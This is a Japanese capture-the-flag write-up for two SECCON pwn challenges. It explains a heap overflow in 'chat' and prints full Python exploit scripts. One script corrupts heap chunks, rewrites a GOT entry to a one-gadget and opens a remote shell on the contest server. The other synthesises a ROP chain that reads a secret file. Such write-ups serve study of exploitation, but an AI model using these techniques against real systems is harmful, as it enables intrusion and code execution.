			if(var8==0)return 0;
			if(strcmp([var8],s)==0)return var8;
			var8 = [var8+0x10];
		}
	}
	else return 0;
}

void login(char* acc,char* s){
	[acc] = get_user(s);
	if([acc]!=0){ //ok
		return 1;
	}
	else return 0;
}

struct tweet{ //長さ0x98
	long int num; //tweet_count  
	void* tweeter;  //0x8
	char data[0x80]; //0x10
	void* next; //0x90
};

struct man{
	int name
};


//先頭が対応するやつにつながれる。
//tweeterは、また、getuserで返ってくる奴。

void post_tweet(void* man,void* to,char* s){
	//man .. var18, to = var20, s = var28
	var8 = malloc(0x98);
	[var8+8] = man;
	linecpy(var8+10,s,0x80);
	if(to==0){
		tweet_count += 1; //0x6031c0
		[var8] = tweet_count;
		[var8+0x90] = tl;
		tl = var8;
	}
	else{
		[var8] = 0;
		[var8+0x90] = [to+0x8];
		[to+0x8] = var8;
	}
}

void linecpy(char* to,char* fr,int len){
	for(int i=0;i<len;i++){
		to[i]=fr[i];
		if(fr[i]==0)break;
		if(fr[i]=='\x0a')break;
	}
	return i;
}

//0x6030e0 に リストがある。

int remove_tweet(void* man,int n){
	//tlからみつけてfreeする。
	var10 = tl;
	while(var10!=NULL){
		if([var10]==n)break;
		var10 = [var10+0x90];
	}
	if(var10==NULL)return 0;
	if([var10+8]!=man)return -1;
	if([tl]==var10){
		tl = [var10+0x90];
		free(var10);
	}
	var8 = var10; //delete
	var10 = tl; //for
	while(var10!=0){
		if(var8==[var10+90])break;
		var10 = [var10+90];
	}
	[var10+0x90]; = [var8+90];
	free(var8);
	return 1;
}

int change_name(void* man,char* s){ //var18, var20
	varc = hash([man]);
	if(varc==0)return -1;
	if(getuser([man])!=0){
		puts("falied");
		return -1;
	}
	varc = hash([man]);
	if(var18 != [tbl+8*varc]){
		//
		if(varc = hash()>=0){
			[man+0x10] = varc;
		}
	}
}

int signup(char* s){ //var18
	if(get_user(s)!=0){
		printf(fail);
		return 0;
	}
	var8 = malloc(0x18);
	varc = hash(s);
	if(varc<0){
		free(var8);
		print(fail);
	}
	else{
		[var8] = strdup(s);
		[var8+8] = 0;
		//以降
	}
}

void remove_user(void* man){
	if(
}

中で使われてる構造体は、

struct tweet{ //長さ0x98
  int num; 
  void* tweeter;  // +0x8
  char data[0x80]; // +0x10
  void* next; // +0x90
};

struct man{ //長さ0x18
  char* name; 
  //以下略
};

みたいなの。

manのnameへのポインタは、

  getnline(s,0x20);
  taro->name = strdup(s);

として確保されているが、change_nameにおいて

  getnline(s,0x20);
  linecpy(taro->name,s,0x20);

みたいなことをしている。(linecpyはstrcpyみたいな独自関数)

strdupは文字列の長さ分だけmallocしたものを返すので、最初にnameを短くつけておいたあと、change_nameで0x20くらいの長さの名前に書き換えることにより、mallocにおいてオーバーフローを起こすことができる。

で、ここで壊しうるのは次のmallocチャンクのsize部分のあたりなので、そこからうまいことexploitしていく。

ツイートを消したり、名前を長さ0の文字列にすることで人を消せたりする仕様なので、ある程度自由にfreeもできる。

自分の名前でないとツイートを消せないので、結果的には、

1. 人『c』を作る
2. 人『a』を作る
3. 『a』でツイート[1]をする
4. 『c』でツイート[2]をする
5. 『a』でツイート[1]を消す
6. 『a』の名前を書き換えて、次のmallocヘッダのsizeを0x91にする
7. 人『b』を作る
8. 人『`BCA』を作る
9. 人『b』を消す
10. 『c』でツイート[3]をする
11. 『c』でツイート[3]を消す
11. 『c』でツイート[2]を消す

となった。

自分でも書いていてなにが起こっているのかよく分からないので解説する。

まず、5.までで、heapは以下のようになっている。(括弧内はサイズ)

+-------------+
|             |
|    人c      |
|   (0x20)    |
|             |
+-------------+
|             |
|  人cの名前  |
|   (0x20)    |
|             |
+-------------+
|             |
|    人a      |
|   (0x20)    |
|             |
+-------------+
|             |
|  人aの名前  |
|   (0x20)    |
|             |
+-------------+
|             |
|             |
|             |
|             |
| ツイート[1] |
| (free済み)  |
|   (0xa0)    |
|             |
|             |
|             |
+-------------+
|             |
|             |
|             |
| ツイート[2] |
|   (0xa0)    |
|             |
|             |
|             |
+-------------+

この時点で、ツイート[1]だったチャンクはunsorted_binsに繋がっているわけだが、この状態で

6. 『a』の名前を書き換えて、次のmallocヘッダのsizeを0x91にする

をすると、あたかもサイズ0x90のチャンクがunsorted_binsに繋がっているように見える。(0x1はprev_inuseビット)

で、ここで

7. 人『b』を作る
8. 人『`BCA』を作る

をすると、ツイート[1]だったチャンクが切り分けられて使われる。

このとき重要なのが、チャンクヘッダのサイズを小さくしていることにより、ツイート[2]の直前にあるprev_sizeが更新されない、ということである。(実際には、更新すべき場所の0x10前が更新されている)

この時点で、heapの状況は

+-------------+
|             |
|    人c      |
|   (0x20)    |
|             |
+-------------+
|             |
|  人cの名前  |
|   (0x20)    |
|             |
+-------------+
|             |
|    人a      |
|   (0x20)    |
|             |
+-------------+
|             |
|  人aの名前  |
|   (0x20)    |
|             |
+-------------+
|             |
|    人b      |
|   (0x20)    |
|             |
+-------------+
|             |
|  人bの名前  |
|   (0x20)    |
|             |
+-------------+
|             |
|   人`BCA    |
|   (0x20)    |
|             |
+-------------+
|             |
|人`BCAの名前 |
|   (0x20)    |
|             |
+-------------+
|             |
|  >^^^^^^<   |
|  >  闇  <   |
|  >vvvvvv<   |
|   (0x20)    |
|             |
+-------------+
|             |
|             |
|             |
| ツイート[2] |
|   (0xa0)    |
|             |
|             |
|             |
+-------------+

となっている。

このあとにツイート[2]を消してunlinkしたいのだが、まだ人『b』が使用中なので、このままツイート[2]を消すと『corrupted double-linked list』エラーが出てプログラムが落ちてしまう。そこで、

9. 人『b』を消す

をすることによって、人『b』の部分をfreeした後、(人『b』はfastbinsのサイズなので、この時点ではまだ片方向リスト)

10. 『c』でツイート[3]をする
11. 『c』でツイート[3]を消す

をすることによって、malloc_consolidateが呼ばれ、人『b』がunsorted_linksに繋がれ、無事にunlinkできるようになる。よって、後は

11. 『c』でツイート[2]を消す

をすると、いっしょに上のサイズ0xa0の部分がunlinkされるので、最終的に、heapは以下のようになる。

+-------------+
|             |
|    人c      |
|   (0x20)    |
|             |
+-------------+
|             |
|  人cの名前  |
|   (0x20)    |
|             |
+-------------+
|             |
|    人a      |
|   (0x20)    |
|             |
+-------------+
|             |
|  人aの名前  |
|   (0x20)    |
|             |
+-------------+
|             |  <---- main_arena.topがここを指している。
|             |
|             |
|             |
+-------------+
|             |
|  人bの名前  |
|   (0x20)    |
|             |
+-------------+
|             |
|   人`BCA    |
|   (0x20)    |
|             |
+-------------+
|             |
|人`BCAの名前 |
|   (0x20)    |
|             |
+-------------+

この11.まで行った状況でツイートをすると、人『`BCA』のチャンクと被ったチャンクがmallocで降ってくるので、
nameポインタがGOTを指すようにしたあと、人『`BCA』の名前を書き換えればripが取れる。



のだが、ここからが容易ではない。というのも、名前を書き換える際に、今までの名前と新しい名前の先頭の文字列がprintableでないとそもそも名前を書き換えてくれない、という仕様になっているので、そこを切り抜けてやる必要がある。(ここでものっそい苦労した)(与えられたlibcでないとこの部分のデバッグができないので、環境を作るのにもめちゃ苦労した)

最終的には、mallocのアドレスの下1byteがprintableで、なおかつmallocのgotの下にisprintがあることが分かったので、malloc越しにisprintのアドレスをOne-gadget-RCEのアドレス(yamaguchi氏に探してもらった)に飛ばすことによってシェルを取った。


以下が自分のコード。

#coding: utf-8
from socket import *
import time


#sudo gdb -q -p `pidof -s execfile` -x gdbcmd
#socat TCP-L:10001,reuseaddr,fork EXEC:./execfile

#./../../tools/rp-lin-x86 -file=mylibc --rop=3 --unique > mygads.txt


isgaibu = False
isgaibu = True

sock = socket(AF_INET, SOCK_STREAM)
if isgaibu:
	sock.connect(("chat.pwn.seccon.jp", 26895))
	raw_input('gdb$')
		
else:
	sock.connect(("localhost", 10001))
	raw_input('gdb$')


size_t = 0x8 #x64かx86か。sizeof(void*) の値で。

def addr2s(x):
	res = ""
	for i in xrange(size_t):
		res += chr(x % 256)
		x /= 256
	return res

def s2hex(s):
	return map(lambda c: hex(ord(c)),s)
	
def s2addr(s):
	res = 0
	for i in xrange(size_t):
		res *= 256
		res += ord(s[size_t-i-1])
	return res
	
def shell():
	while True:
		sock.send(raw_input() + '\n')
		print sock.recv(1024)

def getunt(c):
	res = ""
	while res=='' or res[-len(c):]!=c:
		res += sock.recv(1)
		#print res
	print res
	return res

def send(s):
	#print '[sending :: %s]' % s
	sock.send(s)

def getshellc(fn):
	res = ""
	with open(fn,'rb') as fp:
		res = fp.read()
	print map(ord,res)
	return res


class FSB:
	def check_diff(sl):
		#return ''.join(map(lambda p: '%0x' + chr(p+ord('A')) , xrange(15)))
		return '%8x,' *  15
		#0x25,0x30,0x78,0x2c なので、そのへんを探す。
	def init(sl,kome,bytm,paynum,yet):
		#たとえば、deadbeef,cafebabe,abcd9876,3025cafe, ... なら、
		#fsb.init(kome=3,bytm=2,paynum=,yet=) で。

		sl.kome = kome
		sl.head = '*' * bytm
		#%hnでやっていきます
		sl.yet = yet + paynum * size_t * (size_t / 2) + bytm
		print 'yet .. ',sl.yet
		print yet
		#payloadは、yetとpaynum分ずれて出る。
		sl.data = []
		sl.npn = 0
	def add(sl,addr,val): #addrをvalにする
		
		for i in xrange(size_t/2): #x86なら2,x64なら4
			sl.head += addr2s(addr + i*2)
			sl.data.append((val % 0x10000, '%%%d$hn' % (sl.npn + sl.kome + 2)))
			val /= 0x10000
			sl.npn += 1
		#短い順にソートすることにより、ペイロードを短くする
		
	def get(sl):
		res = sl.head
		ny = sl.yet
		data = sorted(sl.data)
		for ty,s in data:
			dy = ((ty-ny + 0x10000) % 0x10000)
			if dy>0:
				res += '%%%dx' % dy
			res += s
			ny = ty
		#print len(sl.head)
		#print s2hex(sl.head)
		return res

def make_man(s):
	getunt('menu > ')
	send('1\n')
	send(s+'\n')

def login(s):
	getunt('menu > ')
	send('2\n')
	send(s+'\n')

def make_tweet(s):
	getunt('menu >> ')
	send('4\n')
	send(s)

def rename(s):
	getunt('menu >> ')
	send('7\n')
	send(s)

def remove_tweet(n):
	getunt('menu >> ')
	send('6\n')
	send('%d\n' % n)

def logout():
	getunt('menu >> ')
	send('0\n')

make_man('c')
login('c')
logout()
make_man('a')
login('a')
make_tweet('aaaaaaaa' * 15 + '\x31\x00\x00\x00' + '\n') #1
logout()
login('c')
make_tweet('\x21' * 8 * 10 + '\n') #2
logout()
login('a')
remove_tweet(1)
rename('dddddddd' * 3 + '\x91\x00\x00\x00' + '\n')
logout()
make_man('b')
login('b')
logout()
make_man('`BCA')
login('`BCA')
logout()
login('b')
rename('\n')  #user_tbl
login('c')
time.sleep(1)
make_tweet('consolidate' + '\n') #3
remove_tweet(3)
remove_tweet(2)
logout()
login('`BCA')
make_tweet('cccccccc' * 6 + '\x70\x30\x60\x00' + '\n') #4 #ここで、名前を貼ってるアドレスが書き換わる
remove_tweet(4)
send('3\n')
getunt('Users List\n')
s = sock.recv(1024)
print s

s = s[2:]
s = s[:6]
print zip(range(0,len(s)),zip(s,s2hex(s)))

malloc_addr = s2addr(s + '\x00' * 2)
print hex(malloc_addr)
raw_input('leak')

oge_addr = malloc_addr - 0x082660 + 0x0e576c

send('7\n')
send('\x60' * 8 + addr2s(oge_addr) + '\n')

send('/bin/sh'+'\n')
shell()

大会中

リバーシングするべき場所が多くて大変だったので、出題直後のまだ元気な時点である程度リバーシングしていたのがよかった。

GOT任意書き換えに持ち込めたときには『やったか!?』となったがそこからが本当の苦しみだった。書き換えようとする関数の下1byteが悉くprintableでなかったり、printfとかそういう系も絶妙にいじれなかったりして非常につらかった。『問題バイナリが悪意を持って自分に刃向かってるとしか思えない』とか『部屋に入りきらない絨毯を敷きつめようとしている感じ』とか『俺はchatと刺し違えるぞ』みたいなことを叫びながらやっていた。非常につらかった。

また、今回はlibcの下1バイトが合わないとデバッグがつらいやつだったので手元に同じ環境を作ろうとしたのだがとても難航した。(yamaguchi氏に仮想環境を頼んだらjmperのときのと同様の事案をやらかしたりしていた) 結局、moratorium氏が奇跡的に同じバージョンのUbuntuを持っていたので、彼から借りてデバッグしたらわりとすぐ原因が見つかったので環境は大事という気持ちになった。(One-gadget-RCEのアドレスを1命令分後ろにしていた)

ropsmyth

問題と解法

BASE64エンコードされたROPガジェット群が降ってくるので、rspが先頭を指しているような状態でretすると

fd = open("secret", 0, 0);
len = read(fd, buf, 256);
write(1, buf, len);

をやるようなスタックを返す問題。

降ってくるガジェットを逆アセンブルして観察してみると、わりと規則性があって、どれも、

  • pop rsi;
  • push rax; pop rdi;
  • push rax; pop rdx;
  • pop rax;
  • syscall; push rax;

の5つのガジェットが存在しているみたい。
で、呼ぶべきシステムコールを見てみると、これらをうまいこと組み合わせる感じである、という作問者の意図が伝わってくる感じなので、それにしたがって組み合わせる。

途中に、

  35:	41 5b                	pop    r11
  37:	49 81 c3 25 97 79 77 	add    r11,0x77799725
  3e:	49 81 f3 0b 57 90 40 	xor    r11,0x4090570b
  45:	49 81 c3 71 bf 2b 18 	add    r11,0x182bbf71
  4c:	49 81 c3 aa 1b c4 1b 	add    r11,0x1bc41baa
  53:	49 81 eb b7 8c a1 15 	sub    r11,0x15a18cb7
  5a:	49 81 f3 a5 04 3b 2b 	xor    r11,0x2b3b04a5
  61:	49 81 f3 a0 c5 2b 1e 	xor    r11,0x1e2bc5a0
  68:	49 81 f3 9e dc f0 68 	xor    r11,0x68f0dc9e
  6f:	49 81 fb 3e 00 cb 21 	cmp    r11,0x21cb003e
  76:	74 06                	je     0x7e
  78:	f4                   	hlt    

みたいなのがあったりして、要するにうまいこと値を合わせてスタックに積んでおかないと途中で実行が止まってしまうという感じなので、そのへんもどうにかしてやる。(objdumpの解析時に逆から読んで逆算すればよい)

以下は解答スクリプト

#coding: utf-8
import os

samp = """
9PT09PT09PRQX0FeSYH24JvHBkmBxrN71F5JgfY7I6hRSYH+V1ynF3QD9PT0W0iB8/1q70lIgcPrcNRaSIHr99Q6Q0iB81H7dgRIgesNwodTSIH7NqusAXQF9PT09PRdSIH1B1uaOkiB7XPnL2BIgfVzrVVISIHFeqKpJEiB7TMlqQZIge057RVqSIH1MxatKEiB9Wq3lCZIgf0KHVdCdAT09PT0QV9JgcebW58DSYHv+vakC0mBx6OTE2BJgff5MrQ8SYH3O8tOSUmB/2l85010BvT09PT09EFfSYH3iNkWFUmB9+GOA3FJgcdgBpEfSYH3DvPbDEmB72/qC3RJgccYNqBUSYH3zUXWXkmB71tAAjJJgf/LsA53dAj09PT09PT09MP09PT0DwVZSIHBJUyZJEiB8cO/wltIgfmGKkoDdAP09PRBW0mB63VeKB9JgfPcPt9qSYHzGbGQdkmB84bEeGZJgeudM7I7SYHr9m2dW0mB62bm9jZJgftBABtodAP09PTD9FhBXEmB7EWwIDtJgcR2Fdt/SYH8MLoicXQF9PT09PRBXkmB9l4LuhdJgcYIVzcESYHGsq4hKkmB9msz2HBJgfYtJ/cVSYH249yLE0mBxqd1cHJJge7QQyFuSYH+Mf/8aXQE9PT09EFeSYH20puISEmBxjxh8WtJge6wiG1wSYHuWLE0c0mB9gQz60ZJgfZzOW0FSYH2NBduAkmB/mzef0h0BvT09PT09MP09PT09PRQWkFcSYH0+SgaB0mB9DslDglJgezz8edDSYH0PS3WWkmB9PEQV0JJgcSU+VRvSYHEJJBmNkmB7OLI4hZJgfySIEMbdAb09PT09PTD9PT0XllIgcHNYUlUSIHpgV06G0iBweVzoGFIgcHSwYg4SIHpv2/1IUiBwS+x4G5IgfFTnZcySIH5+PBaRnQC9PTD
"""

samp2 = """
9PT0UFpBXkmB9lO7iF1JgfYudSRaSYH2e18QV0mB7m+2pRFJgf5ezVkvdAL09EFfSYH3su6Dc0mB721jumJJgfe0s510SYHvedJCTUmBx3JT5DRJgf9ySRcidAL09EFbSYHDrGOOdUmB+1BkThx0CPT09PT09PT0WUiB8VG9ZlZIgfHnhsI1SIHBE4UNW0iB6XIjEC1IgemU4kdeSIHBk0LCF0iB6fbiMilIgfmuCfIRdAX09PT09MP09PT09PT09F5BXEmBxAtnZC5JgcR/ABQhSYH0ekphRkmBxO9qNF9JgcSpYfFQSYHsnMnoI0mBxL60nAJJgfzRBHE8dAX09PT09FlIgelJizJPSIHxn0X4AEiB+exnxl90BPT09PRBXkmBxgqlpWhJge75TxNjSYHGBsIDZkmB/mEp7Sh0CfT09PT09PT09EFdSYH1gETSc0mB7UYupiNJge3FJC9sSYH1qlh1JkmB9TUDIFlJgfXziU9ASYH1T5RURUmB/dsxXid0CPT09PT09PT0QVtJgeuiAjlQSYHDhuzkGUmB8z/GKlNJgfMiPKcCSYHzu+V4F0mB+/gIQAd0B/T09PT09PRZSIHxXgrEJkiB8e/hsiZIgcH1fh1GSIHBdLcWXUiBwdsoTx5Igem+vZQlSIHB1YHYfEiBwWUOiABIgfk2M8EwdAX09PT09EFbSYHD7+RwYEmB+73JIQ50B/T09PT09PRdSIHFpNk3A0iB/ZHgzUd0AvT0w/QPBVtIges01nRkSIHrzyWEY0iB80Wt6XVIgfN1FOM7SIHD+zoVf0iBw9BP6xJIgcPZW5IhSIHDybBFKUiB+1cMwkN0A/T09MP09PT09PT0WFtIgfMkHegwSIHzmmZaXEiB8yXM8llIgfvk201QdAX09PT09EFdSYHtoboHDUmB7QJtbm1JgfWuVTotSYH1nCyifkmB7cEVx1VJgf2Y8J8VdAL09FlIgcEolzY9SIHxVmYaI0iBwdOgiBBIgcEdyRxJSIH5uypVanQC9PRBW0mB8++GNCNJgfOLKhhPSYHDYXLcCkmBw1B5kAhJgevWLZtrSYHrF2pIBUmBw0Quv2VJgetOL6NWSYH7TuKDanQC9PRBXEmB9Nr9gxVJgfRvf4cVSYH0BmxPa0mB7C4+uhBJgfzqXBgQdAL09MP09PT09FBfQV5JgcaGDWc/SYHueZxqYUmBxi1uZABJgcYLFZ0iSYHGtaY8EUmB9lm5hA1Jge5UthRBSYH+rJIBdXQE9PT09EFbSYHrshP4M0mB89gvwipJgeujkQxySYH7k3eHNXQC9PRBXUmBxd8PW0ZJgcVUyccCSYH9dYUVAXQJ9PT09PT09PT0W0iBwxJkdnFIgesKE4o7SIH7W+3VEnQJ9PT09PT09PT0QV1JgfU3nGxYSYHFvTGrAEmBxXnxR3ZJgfVYfMs9SYHFwlxND0mBxdK5gT9Jgf2m4Z1DdAL09MM=
"""

samp3 = """
9FhBW0mB82cGQmBJgftIHOgPdAj09PT09PT09FtIges7e1NoSIHrWFk6ekiB8xzig3tIgcM7+qsxSIHrz/I7e0iB81oFc1JIgfuEO8k8dAX09PT09FlIgfGvyShwSIHxHuazekiB6cvN+mBIgelrqc9FSIHpMlCXNEiB8REPtntIgfHggxp5SIH5lbj6F3QG9PT09PT0w/T09PT09A8FQVtJgcOofuUJSYHDD8+jPEmBwwJcDUtJgfNs8bUrSYHzDglqX0mB8xwKT0hJgcNKw6MmSYH78k2mNXQD9PT0QV9Jge+tN8R4SYH/ATtWbHQC9PRBX0mB76kCGmZJgff5zo4XSYH/ZIIpa3QD9PT0XUiB7U5KoTFIge1p9+kPSIH1S19ZJUiB/WxfYlR0CfT09PT09PT09EFdSYH1Gc72RkmB7TMuiDBJge0hFT4WSYHFjghODkmBxfKcEyFJgf3tcJskdAn09PT09PT09PRBXkmBxmTIvSVJge4h/zJQSYHGLx6KY0mBxk9j9m5JgfbB1OtQSYHG4dgBZEmB/vdCFkh0BfT09PT0w/T09PT09PT0UF9BW0mB62VPohRJgcNQB+F8SYHzilY1EUmBw11X2ztJgevF899GSYHD0S7/HkmB81Fx6zxJgfs4aFIQdAf09PT09PT0W0iB8zgTuVJIgcND9EB+SIHrt4HJNEiB+wuG/Rp0BvT09PT09EFbSYHzKXswNEmBwys95S1JgfN0JJwESYHzntvLe0mB83LspzlJgevcmap1SYH7K6knanQG9PT09PT0QVxJgewZbFsJSYHEdGNDIkmB9CHFgiBJgfSfAfASSYHsWIwmA0mBxNGPPRlJgfzgBI9GdAP09PRZSIHxjATBZEiBwRm+xDlIgfGGJNsdSIH5RJcmR3QH9PT09PT09EFbSYHzppG5ekmBw8S1JRtJgetRkAglSYHzM6XTKEmB8+NWWEhJgfOfJ69XSYHrk0VeU0mB684LQm1JgfuClwoYdAX09PT09MP09PT09PReQVxJgew+0d0xSYH0SfpzP0mBxDYI6B9Jgfye494vdAb09PT09PRdSIHF+p0LP0iB7aaVowJIgf2Uf4RudAL09FtIgevdtjh8SIHDPXmWAUiB8ySRhlBIgcNCSWoUSIHzVTc+S0iB+8tFWjx0BPT09PRbSIHz92qaH0iB66rs/0BIgfv2NToFdAP09PRBXkmBxlpU70VJgca5sQsPSYHGPiQzYUmB7slTjTNJgf7Nkh8PdAX09PT09EFfSYHvj0StVkmBx6cZ+DJJgccBH6dXSYHv2ny6KkmBx+25lGdJgcd3FwUNSYHHQg95IEmB/3ZCAhB0A/T09EFbSYHDETU7fkmB+8vTNzN0A/T09EFcSYH0WPxJFUmB7H51U3FJgfSos6piSYH8uOLbd3QI9PT09PT09PTD9PT09PT09FBaQVtJgfMZdYsTSYHzRmFXZEmB69j//kVJgcOeGzQWSYHz2HCCYkmB8/LDMmRJgfNQepVVSYHDWtRaPkmB++0/si90BPT09PRBXEmB9I2Gh39JgfR/w1QhSYHE7QHCJ0mB/A8Xuil0CfT09PT09PT09EFdSYH1CRy5aEmB9XPKLW1Jge1w1V4CSYH9iaJZWnQH9PT09PT09EFfSYHvUBc6UUmBx1y7ET1JgceG1AVSSYHH287RV0mB75OGoWVJgfeFoIB+SYH3WvCDR0mBx5B3jWRJgf9HgbgsdAT09PT0ww==
"""
import base64

def b642asm(s):
	with open('ob.txt','w') as fp:
		fp.write(s)
	os.system('base64 -d < ob.txt > bin')
	os.system('objdump -D -Mintel,x86-64 -b binary -m i386 bin > objd.txt')
	with open('objd.txt','r') as fp:
		ss = fp.readlines()
	return ss

size_t = 0x8 #x64かx86か。sizeof(void*) の値で。

def addr2s(x):
	res = ""
	for i in xrange(size_t):
		res += chr(x % 256)
		x /= 256
	return res

def s2hex(s):
	return map(lambda c: hex(ord(c)),s)
	
def s2addr(s):
	res = 0
	for i in xrange(size_t):
		res *= 256
		res += ord(s[size_t-i-1])
	return res
	
def b642rop(s):
	print s
	ss = b642asm(s)
	ss = map(lambda x: x.split('\t'),ss)
	ss = filter(lambda x: len(x)==3,ss)
	ss = map(lambda x: (x[0],x[2]),ss)
	for d in ss:
		pass
		#print d
	res = []
	nd = [] #rdi rsi rax
	for d in ss:
		if d[1]=='hlt    \n':
			continue
		#if 'rdx' in d[1]: #rdi rsi rdx rax
		#	print d
		nd.append(d)
		if d[1]=='ret    \n':
			res.append(nd)
			nd = []

	dat = {}
	for i,ds in enumerate(res):
		gyo = ds[0][0]
		for g,d in ds:
			if 'rdi' in d:
				dat['rdi']=i
				break
			elif 'rsi' in d:
				dat['rsi']=i
				break
			elif 'rdx' in d:
				dat['rdx']=i
				break
			elif 'syscall' in d:
				dat['sys']=i
				break
			elif 'pop' in d and 'rax' in d:
				dat['rax']=i
				break
	print dat
	

	# 0x00800000: gadgets
	# 0x00a00000: data region
  
	#2 0 1
  
	def tadd(x,q):
		return (x - q) 	
	def tsub(x,q):
		return (x + q)
	def txor(x,q):
		return x ^ q
  	
 
	def call(qs,x=-1):
		dx = res[dat[qs]]
		tp = addr2s(int(res[dat[qs]][0][0][:-1],16) + 0x00800000) 
		ress = "" #addr2s(int(res[dat[qs]][0][0][:-1],16) + 0x00800000) 
		nx = -1
		for d in dx[::-1]:
			if 'je' in d[1]:
				continue
			if 'ret' in d[1]:
				continue
			if 'syscall' in d[1]:
				continue
			elif 'push' in d[1]:
				continue
			elif 'cmp' in d[1]:
				nx = int(d[1].split(',')[1],16)
				#print d[1],hex(nx)
			elif 'pop' in d[1]:
				#print d[1]
				if 'rdx' in d[1] or 'rdi' in d[1]:
					continue
				elif qs in d[1]:
					ress = addr2s(x) + ress
					continue
				else:
					ress = addr2s(nx) + ress
				continue
			else:
				if 'add' in d[1]:
					nx = tadd(nx,int(d[1].split(',')[1],16))
				elif 'sub' in d[1]:
					nx = tsub(nx,int(d[1].split(',')[1],16))
				elif 'xor' in d[1]:
					nx = txor(nx,int(d[1].split(',')[1],16))
				else:
					print 'undefined!!'
					print d[1]
		ress = tp + ress
		return ress
	 
	da_reg = 0x00a00000
	buf = 0x00a00010
	#print res[dat['rsi']][0][0]
	#rops = addr2s(int(res[dat['rsi']][0][0][:-1],16) + 0x00800000) 
	rops = ""
	rops += call('rsi',0)
 	rops += call('rax',0)
	rops += call('rdx')
	rops += call('rax',da_reg)
	rops += call('rdi')
 	rops += call('rax',2)
 	rops += call('sys')
 	
	rops += call('rdi')
	rops += call('rsi',buf)
 	rops += call('rax',256)
	rops += call('rdx')
 	rops += call('rax',0)
 	rops += call('sys')
 		
	rops += call('rdx')
 	rops += call('rax',1)
	rops += call('rdi')
	rops += call('rsi',buf)
 	rops += call('rax',1)
 	rops += call('sys')
	
	rops = base64.b64encode(rops)
	return rops

#coding: utf-8
from socket import *
import time


#sudo gdb -q -p `pidof -s execfile` -x gdbcmd
#socat TCP-L:10001,reuseaddr,fork EXEC:./execfile

#./../../tools/rp-lin-x86 -file=mylibc --rop=3 --unique > mygads.txt


nsq = """
9FhBW0mB82cGQmBJgftIHOgPdAj09PT09PT09FtIges7e1NoSIHrWFk6ekiB8xzig3tIgcM7+qsxSIHrz/I7e0iB81oFc1JIgfuEO8k8dAX09PT09FlIgfGvyShwSIHxHuazekiB6cvN+mBIgelrqc9FSIHpMlCXNEiB8REPtntIgfHggxp5SIH5lbj6F3QG9PT09PT0w/T09PT09A8FQVtJgcOofuUJSYHDD8+jPEmBwwJcDUtJgfNs8bUrSYHzDglqX0mB8xwKT0hJgcNKw6MmSYH78k2mNXQD9PT0QV9Jge+tN8R4SYH/ATtWbHQC9PRBX0mB76kCGmZJgff5zo4XSYH/ZIIpa3QD9PT0XUiB7U5KoTFIge1p9+kPSIH1S19ZJUiB/WxfYlR0CfT09PT09PT09EFdSYH1Gc72RkmB7TMuiDBJge0hFT4WSYHFjghODkmBxfKcEyFJgf3tcJskdAn09PT09PT09PRBXkmBxmTIvSVJge4h/zJQSYHGLx6KY0mBxk9j9m5JgfbB1OtQSYHG4dgBZEmB/vdCFkh0BfT09PT0w/T09PT09PT0UF9BW0mB62VPohRJgcNQB+F8SYHzilY1EUmBw11X2ztJgevF899GSYHD0S7/HkmB81Fx6zxJgfs4aFIQdAf09PT09PT0W0iB8zgTuVJIgcND9EB+SIHrt4HJNEiB+wuG/Rp0BvT09PT09EFbSYHzKXswNEmBwys95S1JgfN0JJwESYHzntvLe0mB83LspzlJgevcmap1SYH7K6knanQG9PT09PT0QVxJgewZbFsJSYHEdGNDIkmB9CHFgiBJgfSfAfASSYHsWIwmA0mBxNGPPRlJgfzgBI9GdAP09PRZSIHxjATBZEiBwRm+xDlIgfGGJNsdSIH5RJcmR3QH9PT09PT09EFbSYHzppG5ekmBw8S1JRtJgetRkAglSYHzM6XTKEmB8+NWWEhJgfOfJ69XSYHrk0VeU0mB684LQm1JgfuClwoYdAX09PT09MP09PT09PReQVxJgew+0d0xSYH0SfpzP0mBxDYI6B9Jgfye494vdAb09PT09PRdSIHF+p0LP0iB7aaVowJIgf2Uf4RudAL09FtIgevdtjh8SIHDPXmWAUiB8ySRhlBIgcNCSWoUSIHzVTc+S0iB+8tFWjx0BPT09PRbSIHz92qaH0iB66rs/0BIgfv2NToFdAP09PRBXkmBxlpU70VJgca5sQsPSYHGPiQzYUmB7slTjTNJgf7Nkh8PdAX09PT09EFfSYHvj0StVkmBx6cZ+DJJgccBH6dXSYHv2ny6KkmBx+25lGdJgcd3FwUNSYHHQg95IEmB/3ZCAhB0A/T09EFbSYHDETU7fkmB+8vTNzN0A/T09EFcSYH0WPxJFUmB7H51U3FJgfSos6piSYH8uOLbd3QI9PT09PT09PTD9PT09PT09FBaQVtJgfMZdYsTSYHzRmFXZEmB69j//kVJgcOeGzQWSYHz2HCCYkmB8/LDMmRJgfNQepVVSYHDWtRaPkmB++0/si90BPT09PRBXEmB9I2Gh39JgfR/w1QhSYHE7QHCJ0mB/A8Xuil0CfT09PT09PT09EFdSYH1CRy5aEmB9XPKLW1Jge1w1V4CSYH9iaJZWnQH9PT09PT09EFfSYHvUBc6UUmBx1y7ET1JgceG1AVSSYHH287RV0mB75OGoWVJgfeFoIB+SYH3WvCDR0mBx5B3jWRJgf9HgbgsdAT09PT0ww==
"""

print b642rop(nsq)

isgaibu = False
isgaibu = True

sock = socket(AF_INET, SOCK_STREAM)
if isgaibu:
	sock.connect(("ropsynth.pwn.seccon.jp", 10000))
	#raw_input('gdb$')
		
else:
	sock.connect(("localhost", 10001))
	raw_input('gdb$')

for i in xrange(5):
	time.sleep(1)
	#s = sock.recv(4096)
	#print s.split('\n')
	s = sock.recv(4096)
	print s.split('\n')
	r =  b642rop(s.split('\n')[-2])
	print r
	sock.send(r+'\n')
for i in xrange(10):
	print sock.recv(1024)

大会中

chatを解き終わって9時をそれなりに回っていて、あと何をしようか、と相談するとこれを勧められる。
objdumpの結果を見るに、それなりにどうにかなりそうだと思えたので本腰をいれていく。
ROPの実行される状況とかをmoratorium氏に聞いたりしつつ、がりがりコードを書いていく。
こないだのHITCONのMOREでも似たような状況(moratorium氏と一緒にやっていて、プログラミングゲーで、それなりに残り時間がない)に陥っていたなー、とか思ったり、『Here is the flag! といってフラッグがこないだみたいな感じで降ってきたらやですねー』(縁起でもない!!)みたいなことを話したりしながら書いていく。
最初に書きあげて出すとNGと言われ、与えられたファイルを使って、手元で再現できるようにデバッグしたりする。(alarmを潰したりした)
終了10分前くらいに通ったので非常に気持ちがよかった。

感想

jmperとchatにあまりにも時間がかかってしまった。あんなに泥沼にはまるとは思っていなかった。
手元でデバッグできる環境はとても大事であることが分かったので次回からはもっとうまくやっていきたい。

大事なことをすっかり忘れていたので追記

